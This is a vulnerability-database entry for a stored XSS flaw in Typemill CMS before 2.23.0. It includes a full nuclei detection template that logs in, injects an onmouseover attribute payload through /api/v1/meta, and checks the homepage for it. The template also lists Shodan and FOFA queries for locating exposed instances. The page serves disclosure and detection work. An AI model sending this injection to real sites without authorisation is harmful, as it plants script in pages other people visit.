HexBrain

Browse / CVEs / CVE-2026-53468

CVE-2026-53468· typemill / typemill· CWE-79

Typemill CMS < 2.23.0 - Cross-Site Scripting

mediumseverity
4.6CVSS score
0.4%likelihood of exploitation, next 30 days
37%of all CVEs are less likely
Readycheck to confirm it

Typemill CMS before version 2.23.0 is vulnerable to stored HTML attribute injection in the page metadata fields (og:title and og:description). An authenticated user with permission to modify page metadata can inject arbitrary HTML attributes into generated meta tags via the /api/v1/meta endpoint due to missing output encoding in the renderMeta() function in system/typemill/Assets.php.

Impact

An authenticated attacker can inject arbitrary HTML attributes into meta tags, potentially leading to stored cross-site scripting (XSS) and execution of attacker-controlled JavaScript in the victim's browser context.

Fix

Update Typemill CMS to version 2.23.0 or later, which applies htmlspecialchars() encoding to metadata values before rendering.

How to confirm it

Send: POST /api/v1/auth/login
Positive when: true
Send: POST /api/v1/meta
Positive when: true
Send: GET /
Positive when: contains "onmouseover=\"alert(document.domain)\"" and "og:title" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-53468 -u <target>

The full check
id: CVE-2026-53468

info:
  name: Typemill CMS < 2.23.0 - Cross-Site Scripting
  author: sandiyochristan
  severity: medium
  description: |
    Typemill CMS before version 2.23.0 is vulnerable to stored HTML attribute injection in the page metadata fields (og:title and og:description). An authenticated user with permission to modify page metadata can inject arbitrary HTML attributes into generated meta tags via the /api/v1/meta endpoint due to missing output encoding in the renderMeta() function in system/typemill/Assets.php.
  impact: |
    An authenticated attacker can inject arbitrary HTML attributes into meta tags, potentially leading to stored cross-site scripting (XSS) and execution of attacker-controlled JavaScript in the victim's browser context.
  remediation: |
    Update Typemill CMS to version 2.23.0 or later, which applies htmlspecialchars() encoding to metadata values before rendering.
  reference:
    - https://github.com/typemill/typemill/security/advisories/GHSA-wg6r-jwmr-p7gr
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53468
    - https://github.com/typemill/typemill
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 4.6
    cve-id: CVE-2026-53468
    epss-score: 0.00424
    epss-percentile: 0.37017
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: typemill
    product: typemill
    shodan-query: http.html:"typemill"
    fofa-query: body="typemill"
  tags: cve,cve2026,typemill,xss,cms,authenticated

variables:
  username: "{{username}}"
  password: "{{password}}"

flow: |
  http('login');
  http('inject');
  http('verify');

http:
  - id: login
    raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - "true"
        internal: true

  - id: inject
    raw:
      - |
        POST /api/v1/meta HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-Session-Auth: true

        {"url":"/","tab":"meta","data":{"title":"{{randstr}}\" onmouseover=\"alert(document.domain)\" x=\"","status":"published"}}

    matchers:
      - type: dsl
        dsl:
          - "true"
        internal: true

  - id: verify
    raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover="alert(document.domain)"'
          - 'og:title'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from